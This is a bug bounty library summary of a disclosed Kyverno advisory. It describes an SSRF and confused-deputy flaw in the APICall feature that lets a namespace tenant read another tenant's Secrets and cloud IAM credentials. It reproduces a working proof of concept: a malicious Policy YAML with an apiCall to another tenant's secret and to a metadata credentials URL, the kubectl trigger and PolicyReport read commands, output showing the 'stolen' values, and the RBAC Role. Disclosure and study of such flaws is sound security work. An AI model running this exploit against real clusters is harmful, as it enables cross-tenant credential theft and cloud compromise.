# Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach

Kyverno's APICall executes policy-supplied URLs with its cluster-wide ServiceAccount, letting namespace-level tenants SSRF other tenants' Secrets and cloud IAM credentials into PolicyReports.

- Payout: Research
- Severity: high
- Program: Kyverno
- Found by: b0b0haha, j311yl0v3u
- Disclosed: 2026-04-14
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-fmqp-4wfc-w3v7
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-fmqp-4wfc-w3v7
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:kubernetes technique:source-review vuln:access-control vuln:info-disclosure vuln:ssrf

**Target:** Kyverno admission controller APICall HTTP executor
**Root cause:** ServiceCall.URL is fully user-controlled with no validation, and executeServiceCall calls client.Do(req) directly, so Kyverno's high-privilege ServiceAccount fetches arbitrary internal URLs on behalf of low-privilege policy authors.
**Steps:**
1. Install Kyverno v1.16.0 and create namespaces tenant-a and tenant-b; put a secret `db-credentials` in tenant-b.
2. Grant tenant-a's ServiceAccount only namespace-scoped Policy create plus PolicyReport get/list via Role/RoleBinding.
3. Create a Policy in tenant-a with `context[].apiCall.urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials"` and a validate message templating `{{ tenantBSecrets.data.password | base64_decode(@) }}`.
4. Add a second rule with `apiCall.service.url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role"` templating AccessKeyId/SecretAccessKey.
5. Trigger with `kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now`.
6. Read `kubectl get policyreport -n tenant-a -o yaml` to retrieve the leaked secret values and cloud credentials from the validation failure messages.
**How found:** Source review of the APICall path: the ServiceCall.URL struct field is user-controlled with no validation, and the executor's client.Do(req) sink performs no internal-IP or tenant check, revealing a confused-deputy pattern given Kyverno's cluster-wide ServiceAccount.
**Exploitation:** A tenant with only namespace-level Policy creation writes a Policy whose APICall context fetches tenant-b's Secret via the Kubernetes API and a cloud metadata endpoint; Kyverno executes both with its cluster-wide ServiceAccount, and the fetched values are interpolated into the validate failure message, which is persisted to the tenant-readable PolicyReport.
**Escalation:** Leaked node IAM role credentials extend the compromise from Kubernetes namespace isolation to cloud resources (S3, RDS, GCS) and lateral movement.
**Insight:** Policy engines that template fetched data into validation messages turn SSRF into a readable exfil channel via PolicyReports; check whether context/apiCall URLs are validated and whether the engine's ServiceAccount is cluster-scoped.

## Proof of concept (copied exactly from the original report)

**Malicious Policy with APICall SSRF to steal secrets**

```
apiVersion: [kyverno.io/v1](http://kyverno.io/v1)
kind: Policy
metadata:
  name: confused-deputy-attack
  namespace: tenant-a
spec:
  background: true
  validationFailureAction: Audit
  rules:
  - name: steal-tenant-b-secrets
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: tenantBSecrets
      apiCall:
        method: GET
        urlPath: "/api/v1/namespaces/tenant-b/secrets/db-credentials"
    validate:
      message: "STOLEN TENANT-B SECRETS - Username: {{ tenantBSecrets.data.username | base64_decode(@) }}, Password: {{ tenantBSecrets.data.password | base64_decode(@) }}, Database: {{ tenantBSecrets.data.database | base64_decode(@) }}"
      pattern:
        metadata:
          labels:
            force-fail: "true"
  - name: steal-cloud-credentials
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: cloudCreds
      apiCall:
        method: GET
        service:
          url: "http://metadata-mock.metadata-mock.svc.cluster.local/latest/meta-data/iam/security-credentials/test-role"
    validate:
      message: "STOLEN CLOUD CREDENTIALS - AccessKeyId: {{ cloudCreds.AccessKeyId }}, SecretAccessKey: {{ cloudCreds.SecretAccessKey }}"
      pattern:
        metadata:
          labels:
            force-fail-cloud: "true"
```

**Trigger ConfigMap and PolicyReport showing stolen data**

```
$ kubectl create configmap attack-trigger -n tenant-a --from-literal=trigger=now
configmap/attack-trigger created

**Step 3: View Stolen Data**

After a few seconds, check PolicyReport:
$ kubectl get policyreport -n tenant-a -o yaml | grep -A 5 "STOLEN"

Actual output:
- message: 'validation error: STOLEN TENANT-B SECRETS - Username: admin, Password:
    SuperSecret123!, Database: production-db. rule steal-tenant-b-secrets failed
    at path /metadata/labels/'
  policy: tenant-a/confused-deputy-attack
  result: fail
  rule: steal-tenant-b-secrets
--
- message: 'validation error: STOLEN CLOUD CREDENTIALS - AccessKeyId: [redacted],
    SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY. rule steal-cloud-credentials
    failed at path /metadata/labels/'
```

**RBAC Role granting namespace-level Policy creation**

```
apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: Role
metadata:
  name: policy-creator
  namespace: tenant-a
rules:
- apiGroups: ["[kyverno.io](http://kyverno.io/)"]
  resources: ["policies"]
  verbs: ["create", "get", "list", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["configmaps"]
  verbs: ["create", "get", "list"]
- apiGroups: ["[wgpolicyk8s.io](http://wgpolicyk8s.io/)"]
  resources: ["policyreports"]
  verbs: ["get", "list"]
---
apiVersion: [rbac.authorization.k8s.io/v1](http://rbac.authorization.k8s.io/v1)
kind: RoleBinding
metadata:
  name: tenant-a-policy-creator
  namespace: tenant-a
roleRef:
  apiGroup: [rbac.authorization.k8s.io](http://rbac.authorization.k8s.io/)
  kind: Role
  name: policy-creator
subjects:
- kind: ServiceAccount
  name: tenant-a-admin
  namespace: tenant-a
```

